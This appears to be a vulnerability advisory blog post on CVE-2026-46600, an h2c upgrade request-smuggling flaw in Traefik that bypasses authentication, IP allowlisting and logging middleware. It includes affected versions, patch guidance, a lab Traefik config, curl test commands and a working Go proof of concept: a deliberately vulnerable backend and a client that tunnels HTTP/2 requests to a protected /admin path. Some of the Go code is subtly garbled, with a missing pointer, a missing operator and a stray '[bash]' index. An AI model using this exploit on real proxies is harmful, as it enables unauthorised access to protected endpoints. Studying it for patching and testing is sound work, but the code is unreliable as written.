Listen to this Post
CVE-2026-46600 is a high-severity request-smuggling vulnerability in Traefik’s HTTP reverse proxy. The flaw resides in how Traefik handles the HTTP/1.1 Upgrade mechanism, specifically allowing client-initiated protocol upgrades to arbitrary tokens—most notably h2c—to be forwarded to backend servers. When a backend honours the upgrade and returns 101 Switching Protocols, Traefik enters a raw byte tunnel, completely bypassing its HTTP router and the entire middleware chain, including authentication, IP allowlisting, and rate limiting.
The vulnerability was introduced after Traefik moved to unencrypted HTTP/2 with prior knowledge (Go 1.24). A client can send an `Upgrade: h2c` header along with the connection-specific `HTTP2-Settings` header to an unprotected router. If that router points to the same backend as a protected router, the attacker can establish a tunnel and then send HTTP/2 requests to protected paths on that backend. Those requests never reach Traefik’s routing layer because the connection is no longer parsed as HTTP.
Traefik versions v3.4.2 through v3.6 are end-of-life and affected; v3.7.x before v3.7.13 is also affected. The fix stops forwarding the `Upgrade: h2c` token and the `HTTP2-Settings` header; `Upgrade: websocket` is unaffected. Exploitation requires a backend that accepts the h2c upgrade without validating the `Connection` listing; common off-the-shelf servers were not exploitable in testing.
DailyCVE Form
Platform: Traefik
Version: v3.4.2-v3.6, v3.7.x < v3.7.13
Vulnerability: Request Smuggling
Severity: High
date: 2026-02-23
Prediction: 2026-04-15
What Undercode Say
Analytics
Check Traefik version traefik version Test if /admin is protected curl -i http://127.0.0.1:9080/admin Test h2c upgrade on unprotected router curl -i -H "Connection: Upgrade, HTTP2-Settings" \ -H "Upgrade: h2c" \ -H "HTTP2-Settings: AAMAAABkAAQAoAAAAAIAAAAA" \ http://127.0.0.1:9080/public
traefik.yml entryPoints: web: address: "127.0.0.1:9080" providers: file: filename: "dynamic.yml"
dynamic.yml http: routers: r-public: rule: "PathPrefix(<code>/public</code>)" entryPoints: ["web"] service: svc r-admin: rule: "PathPrefix(<code>/admin</code>)" entryPoints: ["web"] service: svc middlewares: ["adminauth"] middlewares: adminauth: basicAuth: users: - "admin:$2a$10$J33WYF/FCnoWm7PPeEG7leme9d.MioVmaTgJ49MemNXJtdbEyqfs." services: svc: loadBalancer: servers: - url: "http://127.0.0.1:9900"
Exploit: (Educational Purposes!)
package main
import (
"bufio"
"fmt"
"net"
"net/http"
"strings"
"golang.org/x/net/http2"
)
func main() {
mux := http.NewServeMux()
mux.HandleFunc("/public", func(w http.ResponseWriter, r http.Request) {
fmt.Fprintf(w, "public ok\n")
})
mux.HandleFunc("/admin", func(w http.ResponseWriter, r http.Request) {
fmt.Fprintf(w,
"ADMIN SECRET DATA (proto=%s path=%s)\n",
r.Proto, r.URL.Path)
})
h2s := &http2.Server{}
ln, _ := net.Listen("tcp", "127.0.0.1:9900")
for {
c, err := ln.Accept()
if err != nil {
return
}
go func(conn net.Conn) {
br := bufio.NewReader(conn)
var sb strings.Builder
for {
line, err := br.ReadString('\n')
if err != nil {
return
}
sb.WriteString(line)
if line == "\r\n" {
break
}
}
if strings.Contains(sb.String(), "Upgrade: h2c") {
conn.Write([]byte(
"HTTP/1.1 101 Switching Protocols\r\n" +
"Connection: Upgrade\r\n" +
"Upgrade: h2c\r\n\r\n",
))
h2s.ServeConn(conn, &http2.ServeConnOpts{
Handler: mux,
})
return
}
conn.Close()
}(c)
}
}
package main
import (
"fmt"
"io"
"net"
"net/http"
"strings"
"time"
"golang.org/x/net/http2"
)
func main() {
front := "127.0.0.1:9080"
resp, _ := http.Get("http://" + front + "/admin")
b, _ := io.ReadAll(resp.Body)
resp.Body.Close()
fmt.Printf("[bash] Direct GET /admin (no creds) -> %d %q\n",
resp.StatusCode, strings.TrimSpace(string(b)))
raw, _ := net.Dial("tcp", front)
raw.Write([]byte(
"GET /public HTTP/1.1\r\n" +
"Host: x\r\n" +
"Connection: Upgrade, HTTP2-Settings\r\n" +
"Upgrade: h2c\r\n" +
"HTTP2-Settings: AAMAAABkAAQAoAAAAAIAAAAA\r\n" +
"\r\n",
))
buf := make([]byte, 256)
raw.SetReadDeadline(time.Now().Add(3 time.Second))
n, _ := raw.Read(buf)
fmt.Printf("[bash] Upgrade: h2c to /public (no auth) -> %q\n",
strings.SplitN(string(buf[:n]), "\r\n", 2)[bash])
raw.SetReadDeadline(time.Time{})
cc, _ := (&http2.Transport{}).NewClientConn(raw)
req, _ := http.NewRequest("GET", "http://x/admin", nil)
r2, _ := cc.RoundTrip(req)
b2, _ := io.ReadAll(r2.Body)
r2.Body.Close()
fmt.Printf("[bash] HTTP/2 GET /admin over tunnel -> %d %q\n",
r2.StatusCode, strings.TrimSpace(string(b2)))
}
Protection: from this CVE
- Upgrade to Traefik v3.7.13 or later; v3.4.2 through v3.6 are EOL and must be upgraded.
- Apply the commit `a277e94664ffc1ce9543df552d3bbf48d4d3b8b3` which stops forwarding the `Upgrade: h2c` token and the `HTTP2-Settings` header.
- If a backend does not require h2c upgrades, disable support for them on the backend.
- Ensure backends validate the `Connection` header listing before accepting an h2c upgrade.
- Use authentication middleware (BasicAuth, ForwardAuth, IPAllowList, RateLimit) on all routers that share a backend, and verify no unprotected router exposes the same backend.
Impact:
An unauthenticated attacker can bypass middleware protecting other paths on the same backend. Potentially affected middleware includes BasicAuth, ForwardAuth, IPAllowList, RateLimit, header/security middleware, and other per-request middleware attached to the protected router.
Tunneled requests also bypass Traefik’s normal access logging, metrics, and tracing pipeline, so they do not appear as individual requests.
Depending on the backend, an attacker may reach internal/admin endpoints or perform operations that were intended to be protected by Traefik. The impact is not limited to authentication bypass.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

